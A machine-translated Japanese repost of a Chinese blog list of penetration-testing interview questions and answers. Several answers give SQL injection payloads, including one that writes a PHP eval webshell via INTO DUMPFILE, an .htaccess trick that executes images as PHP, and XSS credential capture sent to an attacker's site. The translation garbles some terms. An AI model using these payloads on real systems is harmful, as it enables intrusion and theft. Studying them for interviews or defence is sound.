ネットワーク セキュリティ (大昌) の面接の質問

       以下は、ネットワーク セキュリティのさまざまな側面に関わる面接の質問です。星の数が多いほど、問題が発生する可能性が高くなります。皆様が満足のいく仕事を見つけることができることを願っています。

注: この一連の面接質問は PDF 文書にまとめられていますが、いずれにせよすべての面接質問を網羅することは不可能であり、表面を指してギャップを埋めることを望む人が依然として多いため、内容はまだ更新されています。 。

1. ステーションをテストする場合、最初に何をすべきだと思いますか?

1.1 情報収集

①ドメイン名のWhois情報を取得し、登録者のメールアドレス、氏名、電話番号等を取得します。

② サーバー側ステーションとサブドメイン名サイトにクエリを実行します。メイン Web サイトの方が一般的に難しいため、まずサイド ステーションに共通の CMS やその他の抜け穴がないか確認します。

③ サーバーのオペレーティング システムのバージョンと Web ミドルウェアを確認し、IIS、APACHE、NGINX 解析の脆弱性などの既知の脆弱性が存在するかどうかを確認します。

④ IPを確認し、IPアドレスポートをスキャンし、rsync、Heartbleed、mysql、ftp、sshの弱いパスワードなど、対応するポートの脆弱性を検出します。

⑤ Web サイトのディレクトリ構造をスキャンして、ディレクトリを横断できるかどうか、または PHP プローブなどの機密ファイルが漏洩していないかどうかを確認します。

⑥ウェブサイト情報、背景、機密ファイルをさらに検出するためのGoogleハッキング

1.2 脆弱性スキャン

XSS、XSRF、SQL インジェクション、コード実行、コマンド実行、不正アクセス、ディレクトリ読み取り、任意のファイル読み取り、ダウンロード、ファイル インクルード、リモート コマンド実行、弱いパスワード、アップロード、エディターの脆弱性、ブルート フォース クラッキングなどの脆弱性の検出を開始します。待って

1.3 悪用

上記のメソッドを使用して、WebShell またはその他の権限を取得します。

1.4 権限昇格

権限昇格サーバー (Windows での mysql の udf 権限昇格、serv-u 権限昇格、iis6 などの下位バージョンの Windows の脆弱性、pr、ブラジリアン バーベキュー、Linux ダーティ カウの脆弱性、Linux カーネル バージョンの脆弱性の権限昇格、mysql など) Linux 上のシステムの特権エスカレーションと Oracle の低特権エスカレーション

1.5 ログのクリーンアップ

1.6 概要レポートと修理計画

2. WebサイトのCMSの浸透度を判定する意義は何ですか?

インターネット上に公開されているプログラムの脆弱性を見つけます。

オープンソースの場合は、コード監査用に対応するソース コードをダウンロードすることもできます。

3. 成熟した比較的安全な CMS の場合、侵入時にディレクトリをスキャンすることにはどのような意味がありますか?

機密ファイル、二次ディレクトリのスキャン

ウェブマスターによる誤操作(ウェブサイトのバックアップの圧縮ファイル、description.txt、およびセカンダリ ディレクトリなど)により、他のサイトが保存される可能性があります。

4. 一般的な Web サーバー コンテナ。

IIS、Apache、nginx、Lighttpd、Tomcat

5. MySQL インジェクションポイント、ツールを使用してターゲットステーションに直接文を書き込むには、どのような条件が必要ですか?

root 権限と Web サイトの絶対パス。

6. 現在、解析の脆弱性があることが知られているコンテナのバージョンと具体的な例。

IIS6.0

/xx.asp/xx.jpg 「xx.asp」はフォルダー名です

IIS 7.0/7.5

デフォルトでは Fast-CGI が有効になっており、URL の画像アドレスの直後に /1.php を入力すると、通常の画像が php として解析されます。

Nginx

バージョンは 0.8.37 以下で、悪用方法は IIS 7.0/7.5 と同じで、Fast-CGI が無効になっている場合にも悪用される可能性があります。

ヌルバイトコード xxx.jpg.php

アパッチ

アップロードされたファイルの名前は test.php.x1.x2.x3 です。Apache はサフィックスを右から左に判断します。

ライトTPD

xx.jpg/xx.php、不完全です。お気軽にコメントに追加してください。ありがとうございます。

7. ターゲット ステーションが Windows サーバーであるか Linux サーバーであるかを手動で迅速に判断するにはどうすればよいですか?

Linux では大文字と小文字が区別されますが、Windows では大文字と小文字が区別されません。

8. mysql データベース ステーションに対してポート 80 が 1 つだけ開いているのはなぜですか?

ポートを変更してもスキャンアウトされませんでした。

駅図書館分離。

ポート 3306 は外部に開かれていません

9. 3389 に接続できないいくつかの状況

ポート 3389 が開いていません

ポートが変更されました

保護インターセプト

イントラネット内 (ポート転送が必要)

10. ブレークスルー注入中にキャラクターをエスケープするにはどうすればよいですか?

ワイド文字インジェクション

16 進数エンコーディングのバイパス

11. バックグラウンド ニュース編集インターフェイスで編集者が表示された場合、最初に何をすべきですか?

エディターの名前のバージョンを確認し、未解決の脆弱性を検索します。

12. Web シェルを取得し、Web サイトのルート ディレクトリに .htaccess ファイルがあることを確認します。

隠れたネット馬を例として使用すると、できることはたくさんあります。

入れる

SetHandler application/x-httpd-php

.jpg ファイルは .php ファイルに解析されます。

その他具体的な内容については説明が難しいため、ご自身で文章を検索していただくことをお勧めします。

13. 脆弱性を挿入すると、アカウントのパスワードを確認することしかできませんか?

権限が広い限り、図書館をドラッグして古くなります。

14. SafeDog は変数を追跡して、それが一文のトロイの木馬であることを突き止めますか?

これは機能コードに基づいているため、回避するのは簡単です。広い心を持っている限り、犬を喜ばせるまで回避できますが、これは静的であってはなりません。

15. Access でサフィックスが asp のデータベース ファイルがスキャンされ、文字化けが発生します。ローカルでの使用を実現するにはどうすればよいですか? **

Thunder をダウンロードし、サフィックスを .mdb に直接変更します。

16. 権限を昇格するときは、読み取りおよび書き込み可能なディレクトリを選択してください。スペースを含むディレクトリを使用しないのはなぜですか?

ほとんどの exp 実行ではパラメータを定義するためにスペースが必要であるため、

17. サーバーにはサイト A と B がありますが、B のバックグラウンドにアクセスするために A のバックグラウンドにテスト ユーザーを追加するのはなぜでしょうか。テスト ユーザーも追加されたことがわかりましたか?

同じデータベース。

18. 注入時に and or or or xor を使用せずに、注入の開始を by で直接命令することは可能ですか?

and/or/xor の場合、前の 1=1、1=2 のステップは、注入ポイントかどうかを判断するだけであり、すでに注入ポイントであると判断されている場合は、そのステップを保存できます。

19. 注入防止システムは、注入時に次のメッセージを表示します。

システムは、不正な挿入行為を検出しました。

あなたのIP xx.xx.xx.xxが記録されました

時間: 2016:01-23

送信ページ: test.asp id=15

コンテンツを送信: および 1=1

20. このアンチインジェクションシステムを使用してシェルを取得するにはどうすればよいですか?

URL に直接文章を送信すると、Web サイトもその文章をデータベース ファイルに記録します。このとき、Web サイトの設定ファイルを見つけて包丁に直接リンクしてみてください。

21. マレーシアにアップロード後、文字化けした場合の解決策は何ですか?

ブラウザのエンコーディングを変更します。

22. アップロードポイントの要素を見直す意味は何ですか?

一部のサイトのアップロードされるファイルの種類の制限はフロントエンドで実装されており、現時点では、アップロードの種類を増やす限り、制限を破ることができます。

23. ターゲット ステーションは登録ユーザーを禁止しています。パスワード回復領域にユーザー名を入力して、「このユーザーは存在しません」というプロンプトを表示するだけです。これはどのように使用されると思いますか?

まずユーザー名を爆破し、次にそのユーザー名を使用してパスワードを爆破します。

実際、一部のサイトではログイン時にこのようなプロンプトが表示されます。

インジェクションは、データベースと対話するすべての場所で可能です。

24. ターゲット ステーションは、特定のテキストのダウンロード アドレスが http://www.test.com/down/down.php file=/upwdown/1.txt であることを発見しました。どう思いますか?

これは伝説のダウンロードバグです!file= の後に、index.php と入力してホームページ ファイルをダウンロードし、ホームページ ファイル内の他の Web サイトの設定ファイルの検索を続けると、Web サイトのデータベース パスワードとデータベース アドレスを見つけることができます。

25. A はターゲット サイトを指定し、ルート ディレクトリの下に /abc/ ディレクトリがあり、このディレクトリの下に editor ディレクトリと admin ディレクトリがあることを伝えます。どう思いますか?

Web サイトの 2 番目のディレクトリ /abc/ の直下にある機密ファイルとディレクトリをスキャンします。

26. シェルの場合、xss を使用してターゲット ステーションの長期制御を実現するにはどうすればよいですか?

バックグラウンドログイン時のログインアカウントのパスワードを記録するセクションをjsに追加し、ログインが成功したかどうかを判定します。ログインに成功した場合は、アカウントのパスワードを通常とは異なるパスのファイルに記録するか、自分のWebサイトのファイルに直接送信します。 。(この方法は、詳細な制御権限を必要とする貴重なネットワークに適しています)。

ログイン後にのみアクセスできるファイルに XSS スクリプトを挿入します。

27. バックグラウンドで管理者パスワードを変更している箇所には、元のパスワードが「*」で表示されます。ユーザーのパスワードを読み出すにはどうすればよいと思いますか?

要素を確認し、パスワードのパスワード属性をテキストに変更してプレーンテキストで表示します。

28. ターゲットステーションには保護がありません。写真のアップロードは正常にアクセスできますが、スクリプト形式のアップロードのアクセスは 403 になります。原因は何ですか?

理由は数多くありますが、Web サーバーの設定によってアップロード ディレクトリが完全に書き込まれ、対応するスクリプトが実行されない可能性があります。サフィックス名をバイパスするように変更してみてください。

29. Web サイトで使用されている保護ソフトウェアを知るには要素をチェックしてください。それはどのように行われていると思いますか?

機密性の高い操作がブロックされ、インターフェース情報から保護を判断できない場合、F12 は、Patronus などの HTML 本文の名前でコンテンツを確認できます。

30. win2003 サーバーに .zhongzi フォルダを作成する目的は何ですか?

隠しフォルダー。アップロードしたツールが管理者に発見されないようにします。

31. SQL インジェクションには次の 2 つのテスト オプションがあります。1 つを選択し、もう 1 つを選択しない理由を説明します。

A.demo.jsp id=2+1 B.demo.jsp id=2-1

オプション B、+ は URL エンコードのスペースを表し、混乱を引き起こす可能性があります。

32. 以下のリンクに SQL インジェクションの脆弱性がありますが、この変形したインジェクションについてどう思いますか?

デモ.do DATA=AjAxNg==

DATA はサーバーに送信される前に Base64 エンコードされる可能性があるため、テストを正しく完了するにはパラメーターも Base64 エンコードする必要があります

33.demo.jsp uid=110 インジェクションポイントが見つかりました。WebShell を取得するためのアイデアは何ですか。どれが最適ですか?

書き込み権限がある場合は、INTO OUTFILE を使用して結合クエリ ステートメントを構築し、クエリの出力をシステム内のファイルにリダイレクトして、WebShell に書き込むことができます。

sqlmap –os-shell を使用する原理は上記と同じで、シェルを直接取得するため、より効率的です。

共同クエリ ステートメントを作成して Web サイト管理者のアカウントとパスワードを取得し、バックグラウンドをスキャンしてバックグラウンドにログインし、パッケージを変更してアップロードすることでバックグラウンドでシェルをアップロードします。

34. CSRF、XSS、XXE の違いとその修正方法は何ですか?

XSS とはクロスサイトスクリプティング攻撃のことで、ユーザーが送信したデータにコードを組み込んで実行することで、ユーザー情報を窃取するなどの攻撃を実現します。修復方法: 文字エンティティをエスケープし、HTTP のみを使用して JavaScript による Cookie 値の読み取りを禁止し、入力を検証し、ブラウザーと Web アプリケーションで同じ文字エンコーディングを使用します。

CSRF はクロスサイト リクエスト フォージェリ攻撃であり、XSS は CSRF を実現する手段の 1 つであり、キー操作がユーザーの自発的なものであるかどうかが確認できないためです。修復方法: CSRF を防ぐ必要があるページをフィルタリングして除外し、トークンを埋め込み、パスワードを再度入力し、リファラーを確認します。

XXE は XML 外部エンティティ インジェクション攻撃です。XML では、エンティティを呼び出してローカルまたはリモートのコンテンツを要求できます。リモート ファイル保護と同様に、機密ファイルの読み取りなど、関連するセキュリティ上の問題が発生します。修復方法: XML 解析ライブラリは、呼び出し時の外部エンティティの解析を厳しく禁止しています。

35. CSRF、SSRF、リプレイ攻撃の違いは何ですか?

  CSRF は、クライアントによって開始されるクロスサイト リクエスト フォージェリ攻撃です

  SSRF はサーバー側リクエスト フォージェリであり、サーバーによって開始されます。

  リプレイ攻撃は、ID 認証やその他の目的を達成するために、傍受したデータ パケットを再生することです。

36. ビジネス ロジックの脆弱性を少なくとも 3 つ挙げて、それらを修正する方法を教えてください。

36.1 パスワード回復の脆弱性があります

① ブルートフォースクラッキングを可能にするパスワード、

②汎用検索証明書があり、

③ 認証ステップをスキップすることもできます。

④ クレデンシャルの取得は、メーカーが提供するパスワード取得機能を利用し、パケット傍受等によりパスワードを取得します。

36.2 最も一般的な ID 認証の脆弱性は次のとおりです。

①セッション固定攻撃

② Cookie の偽造: セッションまたは Cookie を取得する限り、ユーザーの身元を偽造することができます。

36.3 キャプチャの脆弱性が存在します

① 認証コードによりブルートフォースクラッキングが可能

②JavaScriptやパッケージ変更により認証コードを回避可能

37. 次の会話で問題がある可能性のある項目に丸を付け、問題の可能性があるものに印を付けてください。

  get /ecskins/demo.jsp uid=2016031900&keyword=”hello world”

  HTTP/1.1ホスト:.com:82ユーザーエージェント:Mozilla/

  5.0 Firefox/40Accept:text/css,/;q=0.1

  Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3

  参照元:http://**.com/eciop/orderForCC/

  cgtListForCC.htm ゾーン=11370601&v=145902

  クッキー:myguid1234567890=1349db5fe50c372c3d995709f54c273d;

  uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;

  st_uid=N90PLYHLZGJXI-NX01VPUF46W;

  ステータス=真

  接続:キープアライブ

38、sqlmap、注入ポイントを注入するにはどうすればよいですか?

38.1 getモデルの場合は直接sqlmap -u「ポイントURLなど」。

38.2 ポイントなどの投稿タイプの場合は、sqlmap -u "注入ポイント URL" –data="投稿パラメータ" を使用できます。

38.3 Cookie、X-Forwarded-For などの場合、アクセス可能な場合は、burpsuite を使用してパケットをキャプチャし、注入サイトを番号に置き換えてファイルに置き、その後 sqlmap -r "ファイル アドレス」

39. SQLインジェクションは何種類ありますか?

39.1 エラー挿入

39.2 ブール型インジェクション

39.3 遅延注入

39.4 ワイドバイトインジェクション

40. 遅延噴射の判断方法は?

if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

41.ブラインド注入と遅延注入の共通点は何ですか?

キャラごとの判断です

42. ウェブサイトのウェブシェルを取得するにはどうすればよいですか?

アップロード、バックグラウンドでのテンプレートの編集、SQL インジェクション書き込みファイル、コマンド実行、コード実行、dedecms バックグラウンドなどの公開された一部の cms 脆弱性によりスクリプト ファイルが直接作成され、WordPress アップロード プラグインにはスクリプト ファイル zip アーカイブなどが含まれます。

43. エラー挿入の関数は何ですか? 10

43.1 および extractvalue(1, concat(0x7e,(select @@version),0x7e))]]]———

43.2 フロアエラー報告による切り捨て

43.3 +および updatexml(1, concat(0x7e,(secect @@version),0x7e),1)

43.4 geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));

43.5 multipoint()select from テスト (id=1 および multipoint((select from(select from(select user())a)b));

43.6 Polygon()select from テスト (id=1 およびpolygon((select from(select from(select user())a)b));

43.7 multipolygon()select from テスト where id=1 および multipolygon((select from(select from(select user())a)b));

43.8 linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));

43.9 ultilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));

43.10 exp()select from test where id=1 and exp(~(select * from(select user())a));

44. img タグの onerror 属性以外に、管理者パスを取得する方法はありますか?

src はリファラーを取得するためのリモート スクリプト ファイルを指定します

45. img タグの onerror 属性に加え、src 属性のサフィックス名が .jpg で終わる必要がある、管理者パスの取得方法。

45.1 リモートサーバーは、Apache 設定ファイルを変更し、php で AddType application/x-httpd-php .jpg を解析するように .jpg ファイルを設定します。

45.2 <img src=http://xss.tv/1.jpg> は php で解析されます

46. ファイルを書き込むSQLインジェクションの機能は何ですか?

出力ファイル「パス」に「文」を選択します

ダンプファイル「パス」に「文」を選択します

'< php eval($_POST[1]) >' をダンプファイル 'd:\wwwroot\baidu.com\nvhack.php' に選択します。

47.CSRFを防ぐ方法

47.1 リファラーの検証

47.2 トークンの検証

詳細: http://cnodejs.org/topic/5533dd6e9138f09b629674fd

48. owasp の脆弱性とは何ですか?

48.1 SQL インジェクションの保護方法:

48.2 壊れた認証とセッション管理

48.3 クロスサイトスクリプティング攻撃 XSS

48.4 安全でないオブジェクトへの直接参照

48.5 セキュリティ設定エラー

48.6 機密情報の開示

48.7 機能レベルのアクセス制御の欠如

48.8 クロスサイトリクエストフォージェリ CSRF

48.9 既知の脆弱性のあるコンポーネントの使用

48.10 認証されていないリダイレクトと転送

49. SQLインジェクションの保護方法は?

49.1 安全な API の使用

49.2 入力された特殊文字に対してEscapeエスケープ処理を行う

49.3 ホワイトリストを使用した入力検証方法の正規化

49.4 クライアントの入力を制御し、SQL インジェクションに関連する特殊文字の入力を許可しない

49.5 サーバー側は、SQL クエリをデータベースに送信する前に、特殊文字をフィルタリング、エスケープ、置換、および削除します。

50. コード実行、ファイル読み込み、コマンド実行の機能は何ですか?

50.1代コード実行:eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

50.2 ファイルの読み取り: file_get_contents()、highlight_file()、fopen()、readfile()、fread()、fgetss()、fgets()、parse_ini_file()、show_source()、file() など。

50.3 コマンドの実行: system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_open()

PDF版が必要な場合は自動取得にご注意ください。

エピローグ


ネットワーク セキュリティ業界は、さまざまな肌の色の人が集まる川と湖のようなものです。ヨーロッパやアメリカ諸国の強固な基盤を持つ多くのまともな家族(暗号化を理解し、保護する方法を知っており、穴を掘ることができ、エンジニアリングが得意)と比較すると、私たちの才能はより異端です(多くのホワイトハットは納得していないかもしれません)。今後の人材育成と構築面では、渇きを潤すために「ビジネス」と「データ」「自動化」を組み合わせた「前向きな」「システムと構築」をより多くの人が行えるよう仕組みを整えていく必要があるインターネットはセキュリティを提供します。

おすすめ

転載: blog.csdn.net/jazzz98/article/details/132427154